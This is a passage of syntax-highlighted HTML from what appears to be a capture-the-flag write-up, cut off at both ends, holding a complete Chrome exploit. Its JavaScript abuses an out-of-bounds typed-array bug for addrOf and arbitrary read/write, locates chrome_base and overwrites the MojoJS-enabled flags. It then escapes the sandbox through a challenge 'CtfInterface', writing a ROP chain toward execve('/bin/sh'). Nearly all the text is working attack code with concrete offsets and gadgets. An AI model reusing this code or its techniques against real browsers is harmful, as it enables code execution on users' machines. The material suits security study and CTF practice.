punctuation">"</span>mojo/third_party/blink/public/mojom/CTF/ctf_interface.mojom.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">let</span> conversion_buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> float_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> int_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>conversion_buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">hex</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token string">'0x'</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token class-name">BigInt</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">i2f</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">Number</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">f2i</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    float_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> int_view<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">make_objs</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> oob_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> obj_faker <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> float_arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    a<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">444444</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    b<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token punctuation">[</span>oob_arr<span class="token punctuation">,</span> obj_faker<span class="token punctuation">,</span> float_arr<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">enable_mojo</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> <span class="token punctuation">[</span>oob_arr<span class="token punctuation">,</span> obj_faker<span class="token punctuation">,</span> float_arr<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make_objs</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'oob_arr.length = '</span> <span class="token operator">+</span> oob_arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> old_28 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// external_pointer</span>    <span class="token keyword">let</span> old_29 <span class="token operator">=</span> oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// base_pointer</span>    <span class="token keyword">let</span> r13 <span class="token operator">=</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_28 = '</span> <span class="token operator">+</span> old_28<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'old_29 = '</span> <span class="token operator">+</span> old_29<span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">function</span> <span class="token function">addrOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        obj_faker<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj<span class="token punctuation">;</span>        <span class="token keyword">return</span> oob_arr<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xfffffffn</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">function</span> <span class="token function">arb_read</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">f2i</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>        <span class="token keyword">function</span> <span class="token function">arb_write</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        oob_arr<span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">&amp;</span> <span class="token number">0xffffffff00000000n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">7n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        oob_arr<span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">8n</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xffffffffn</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        float_arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span><span class="token function">i2f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> div <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> div_addr <span class="token operator">=</span> <span class="token function">addrOf</span><span class="token punctuation">(</span>div<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'div_addr = '</span> <span class="token operator">+</span> div_addr<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> chrome_base <span class="token operator">=</span> <span class="token function">arb_read</span><span class="token punctuation">(</span>r13 <span class="token operator">|</span> <span class="token punctuation">(</span>div_addr <span class="token operator">+</span> <span class="token number">0xCn</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x000000000c1bb7c0n</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'chrome_base = '</span> <span class="token operator">+</span> chrome_base<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> is_mojo_js_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0en</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> is_mojo_js_test_enabled <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0x000000000c560f0fn</span><span class="token punctuation">;</span>    <span class="token comment">// enable mojo</span>    <span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">arb_write</span><span class="token punctuation">(</span>is_mojo_js_test_enabled<span class="token punctuation">,</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'mojo enable!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    window<span class="token punctuation">.</span>location<span class="token punctuation">.</span><span class="token function">reload</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">sandbox_escape</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> offset</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">let</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> f_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> i_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> float_val <span class="token operator">=</span>  <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>offset<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            f_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> float_val<span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>i_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> offset<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">let</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> f_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> i_b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>        i_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>f_b<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> offset<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span><span class="token parameter">ctf<span class="token punctuation">,</span> size</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token keyword">await</span> ctf<span class="token punctuation">.</span><span class="token function">resizeVector</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> r<span class="token punctuation">.</span>value<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">function</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">let</span> ctf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">blink<span class="token punctuation">.</span>mojom<span class="token punctuation">.</span>CtfInterfacePtr</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> req <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">mojo<span class="token punctuation">.</span>makeRequest</span><span class="token punctuation">(</span>ctf<span class="token punctuation">)</span><span class="token punctuation">;</span>                Mojo<span class="token punctuation">.</span><span class="token function">bindInterface</span><span class="token punctuation">(</span>blink<span class="token punctuation">.</span>mojom<span class="token punctuation">.</span>CtfInterface<span class="token punctuation">.</span>name<span class="token punctuation">,</span> req<span class="token punctuation">.</span>handle<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> ctf<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> vec_base <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> vec_end <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> size <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> rop_len <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> vtable <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> vtable_offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> ctf<span class="token punctuation">,</span> arb<span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'finding vector address...'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span>vtable_offset <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        ctf <span class="token operator">=</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        arb <span class="token operator">=</span> <span class="token function">ctfCreate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">await</span> <span class="token function">ctfResize</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> rop_len<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> size<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token punctuation">,</span> <span class="token number">0xfebabedeadbeefn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> rop_len<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> i<span class="token punctuation">,</span> <span class="token number">0xfebabedeadbeefn</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x1000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">let</span> val <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>val <span class="token operator">&amp;</span> <span class="token number">0xfffn</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0x4e0n</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">//(vtable &amp; 0xfff) == 0x4e0</span>                <span class="token keyword">let</span> base <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">let</span> end <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">ctfRead</span><span class="token punctuation">(</span>ctf<span class="token punctuation">,</span> i<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                                <span class="token keyword">if</span> <span class="token punctuation">(</span>end <span class="token operator">></span> base <span class="token operator">&amp;&amp;</span> <span class="token function">Number</span><span class="token punctuation">(</span>end <span class="token operator">-</span> base<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">8</span> <span class="token operator">*</span> rop_len<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// found!</span>                    vtable <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">;</span>                    vec_base <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span>                    vec_end <span class="token operator">=</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>end<span class="token punctuation">)</span><span class="token punctuation">;</span>                    vtable_offset <span class="token operator">=</span> i<span class="token punctuation">;</span>                    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vtable_offset<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">: vtable = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vtable<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, vec_base = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vec_base<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, vec_end = 0x</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>vec_end<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token keyword">break</span><span class="token punctuation">;</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span> <span class="token comment">// for (let i = 4; i &lt; 0x1000; i++)</span>    <span class="token punctuation">&#125;</span> <span class="token comment">// while (vec_base == 0)</span>    <span class="token comment">// async function arb_read(addr) &#123;    </span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+1, addr);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+2, addr+8n);</span>    <span class="token comment">//     let val = await ctfRead(arb, 0);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+1, vec_base);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+2, vec_end);</span>    <span class="token comment">//     return val;</span>    <span class="token comment">// &#125;</span>    <span class="token comment">// async function arb_write(addr, val) &#123;    </span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+1, addr);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+2, addr+8n);</span>    <span class="token comment">//     let val = await ctfWrite(arb, 0, val);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+1, vec_base);</span>    <span class="token comment">//     await ctfWrite(ctf, vtable_offset+2, vec_end);</span>    <span class="token comment">//     return val;</span>    <span class="token comment">// &#125;</span>        <span class="token keyword">let</span> chrome_base <span class="token operator">=</span> vtable <span class="token operator">-</span> <span class="token number">0xbc774e0n</span><span class="token punctuation">;</span>    <span class="token comment">// let execve_got = chrome_base + 0x0000c2cf5f8n;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">chrome_base = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>chrome_base<span class="token punctuation">.</span><span class="token function">hex</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// let execve = await arb_read(execve_got);</span>    <span class="token keyword">let</span> execve_plt <span class="token operator">=</span> chrome_base <span class="token operator">+</span> <span class="token number">0xbb89d50n</span><span class="token punctuation">;</span>    <span class="token comment">// let __libc_start_main_got = chrome_base + 0xC29C0C0n;</span>    <span class="token comment">// await ctfWrite(ctf, vtable_offset+1, __libc_start_main_got);</span>    <span class="token comment">// await ctfWrite(ctf, vtable_offset+2, __libc_start_main_got+8n);</span>    <span class="token comment">// let __libc_start_main = await ctfRead(arb, 0);</span>    <span class="token comment">// console.log(`printf = $&#123;__libc_start_main.hex()&#125;`);</span>        <span class="token comment">// let lbase = __libc_start_main - 0x26fc0n;</span>    <span class="token comment">// let system = lbase + 0x55410n</span>    <span class="token comment">// // restore</span>    <span class="token comment">// await ctfWrite(ctf, vtable_offset+1, vec_base);</span>    <span class="token comment">// await ctfWrite(ctf, vtable_offset+2, vec_end);</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'write rop ...'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> fake_vtable <span class="token operator">=</span> vec_base<span class="token punctuation">;</span>    <span class="token keyword">let</span> rop_base <span class="token operator">=</span> vec_base<span class="token punctuation">;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x3d994e1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// add rsp, 0x20; pop rbp; ret;</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x590510en</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// xchg rax, rsp; ret; -> ResizeVector (rax = vtable)</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x37bb280n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// pop rdi</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> rop_base<span class="token operator">+</span><span class="token number">14n</span><span class="token operator">*</span><span class="token number">8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token comment">// addrOf"/bin/sh"</span>        <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> chrome_base <span class="token operator">+</span> <span class="token number">0x099b8ee0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// pop rsi</span>    <span class="token keyword">await</span> <span class="token function">ctfWrite</span><span class="token punctuation">(</span>arb<span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> rop_base <span class="token operator">+</span> <span class="token number">13n</span> <span class="token operator">*</span> <span 